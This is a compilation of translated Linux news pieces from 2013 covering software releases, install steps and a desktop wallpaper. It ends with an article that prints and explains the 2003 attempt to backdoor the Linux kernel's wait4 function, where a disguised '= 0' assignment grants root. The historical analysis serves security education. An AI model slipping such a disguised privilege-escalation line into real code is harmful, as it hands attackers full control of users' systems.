2013年10月

Flower Coil是一个简单但有趣的复古风游戏,用户为了要完成任务,必须要通过认真的思考,一步一步谨慎的移动角色才行。

基本上来说,玩家主要操作就是控制游戏中的角色,让其滑动位置。游戏环节的重点是玩家要仔细的计算下一步操作,因为角色在完成每个任务时都有预定好的最多移动步数。

Flower Coil有解谜和街机两种模式,同时配以简约的视图效果以及活泼的提示音乐,这样做的效果是:从启动游戏时起,用户就要利用好每一秒钟(尤其是在街机模式中)和屏幕的每一个像素才能获得胜利。

在主界面选择街机模式,打开一段充满活力的旋律,现在就开始行动吧,在有限的时间里,通过你机警的操作打通各个关卡!

Flower Coil可以通过Ubuntu软件中心免费进行下载

via: http://iloveubuntu.net/flower-coil-retro-challenging-puzzle-game-ubuntu-software-center

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:woodboow 校对:wxy

就像等待首张专辑一样,实际上Banshee音乐播放器的粉丝们也等待了很长一段时间了——12个月了。

Banshee 2.9.0版本的发布, 在通往下一个稳定版本道路上的首个里程碑 (Banshee 3.0, 真正的粉丝),修复了36个漏洞,实现了应用移植到GTK3(绝对不是一件简单的事情)并且增加了和塞班手机同步音乐的功能。(这是让所有的N95用户都会激动的功能

其他改进包括:

  • 支持GNOME软件市场上架
  • 提交成功的Scrobble将会更快
  • AMR文件导入
  • 更精确的寻找
  • 针对Unity & GNOME Shell的关键字寻找
  • 现在能够在会话间记住DAP源

距离最新版发布的时间将不会太长。 我很看好Banshee 一个支持专辑封面浏览的播放器

获得Banshee 2.9.0

目前为止还没有任何关于这个最新版本什么时候才能在Ubuntu上可用的消息。

但是,如果你想为安装它做准备的话,你可以添加Banshee团队的PPA。这能在不远的将来,升级最新的Banshee或者任何需要关联它而运行的程序时会用到。

sudo add-apt-repository ppa:banshee-team/ppa

sudo apt-get update && sudo apt-get install banshee

一旦安装完成,Banshee能够通过Unity Dash,GNOME Shell激活角(activities overlay)或者Mint Menu启动。

来自: http://www.omgubuntu.co.uk/2013/10/banshee-music-player-2-9-0-released

(译注,本文的原文已经重新发布,和译文的历史版本不同。)

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:SCUSJS 校对:wxy

Jitsi 是Java编写的开源的、多平台的音频/视频网络电话和即时通信软件。它支持一些最流行的即时通信和电信协议,比如:SIP,Jabber/XMPP(这样就支持了Facebook和Google Talk),AIM,ICQ,MSN,Yahoo! Messenger。

Jitsi也被认为是Skype的一个很好的替代者。

安装Jitsi

按下键盘上的Ctrl+Alt+T组合键打开终端。在打开的终端中输入如下命令下载Jitsi:

32位系统:

$ wget https://download.jitsi.org/jitsi/debian/jitsi\_2.2-latest\_i386.deb

64位系统:

$ wget https://download.jitsi.org/jitsi/debian/jitsi\_2.2-latest\_amd64.deb

对于32位和64位系统都运行如下命令:

$ sudo dpkg -i jitsi\_2.2-latest\_*.deb

以上命令将在你的系统中安装Jitsi 2.2,并且在你的系统中添加Jitsi的源库,以便以后能够更加容易的升级。

Jitsi的部分功能:

支持的协议/网络

  • SIP XMPP (Jabber)
  • GoogleTalk (使用XMPP) Facebook (使用XMPP)
  • .NET Messenger Service (通常叫做MSN或者是Windows Live Messenger),Yahoo! Messenger,AIM ICQ

通话

支持的协议SIPXMPPMSN
音频通话支持支持由于项目终止而没有计划
视频通话支持支持
桌面流支持支持
桌面共享支持支持
音频电话会议支持支持
音频级别显示支持支持
通话录音支持支持
指定转接支持支持
电话盲转支持支持
通过SDES/SRTP和ZRTP实现通话加密支持支持
通话静音支持支持
通话保持支持支持
支持ICE正在进行支持
支持TURN正在进行支持
使用SILK,G.722和Speex的宽带音频支持支持
噪声抑制支持支持
回声消除支持支持

即时通信

支持的协议XMPPMSNYahoo!ICQ/AIMSIP
存在支持支持支持支持支持
一对一聊天支持支持支持支持支持
多用户聊天支持支持支持支持不支持
文件传输支持支持支持支持不支持
OTR加密支持支持支持支持不支持

更多特性 点击这里

使用Jitsi

Jitsi能够通过在终端中执行如下命令来运行

$ jitsi

或者从dash中运行

Dash > Jitsi

添加账户

点击 select network(选择网络).

在这个教程中,使用Gtalk帐号进行登录

按要求输入你的username(用户名)password(密码)

然后你就在线了。

聊天窗口。

对于其他Linux发行版,请访问Jitsi下载页面

如有问题,请访问我们的 Q/A 论坛 : http://ask.unixmen.com/-更多信息请参见:http://www.unixmen.com/install-jitsi-instant-messenger-ubuntu/#sthash.TuH8ZN0b.dpuf

来自: http://www.unixmen.com/install-jitsi-instant-messenger-ubuntu/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:SCUSJS 校对:jasminepeng

Musique1.3排序选项功能(OS X 截图)

这周对于Linux上的音乐爱好者来说是再好不过了,继Banshee的最新更新之后,一个新的轻量级基于Qt的音乐播放器Musique发布了新版本。

Musique 1.3建立在先前版本的核心功能之上,添加了最被期望的功能:通过网格视图中的歌手名字、人气指数、年代等来 排序艺术家及专辑

更新版本的Musique中,有一个完全重新开发的播放列表的新功能,它可以显示正在播放歌曲的专辑缩略图、歌曲切换提示,并且支持使用GStreamer声音后端的无缝播放。

还包含了各种bug修复、专辑和艺术家列表中的性能改进,以及本地专辑封面图片格式的更多选择。

Musique 1.3 已经可以在Ubuntu软件中心中找到 ,支持12.04、12.10和13.10。不用额外使用PPA和deb包。

via: http://www.omgubuntu.co.uk/2013/10/musique-1-3-update-adds-album-sorting

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:flsf 校对:Caroline

2013年10月17日,Ubuntu 13.10即将发行,这将是又一个令人兴奋的功能强大的操作系统,该系统包含许多新的特性和改进,以及设计比赛产生的、默认设计的新的桌面壁纸。

俏皮的蝾螈壁纸 是一组简约风格的桌面环境,它的中心图案由一个活泼的蝾螈组成。

基本来说,这套壁纸的核心内容是一只在橙色背景上白色风格的蝾螈,同时在壁纸的四个边角添加了白色的圆角,用来衬托这只可爱的蝾螈小演员。

这样做的结果是:映入眼帘的图案是愉快和安静的,同时橙色的背景也为Dash添加了温暖的色调。

俏皮的蝾螈壁纸包含有以下几个 尺寸:1024x768, 1080x1024, 1366x768, 1440x900, 1920x1080, 1920x1080, 用来满足不同分辨率的需要。

要了解更多的信息,壁纸及 XCF 源文件的下载,可以访问以下网址: http://www.deviantart.com/art/Saucy-Salamander-Wallpaper-402488552

via: http://iloveubuntu.net/add-vitality-your-desktop-saucy-salamander-wallpaper-pack

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:woodboow 校对:wxy

最近Josh写了一篇文章,讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是)

今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。

时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。

但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。

但是在2003年11月5日的时候,Larry McVoy发现,CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。

神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码:

if ((options == (\_\_WCLONE|\_\_WALL)) && (current->uid = 0))

retval = -EINVAL;

[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看]

猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,将其值赋值为0

将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。

客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。

但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。

这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。

via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy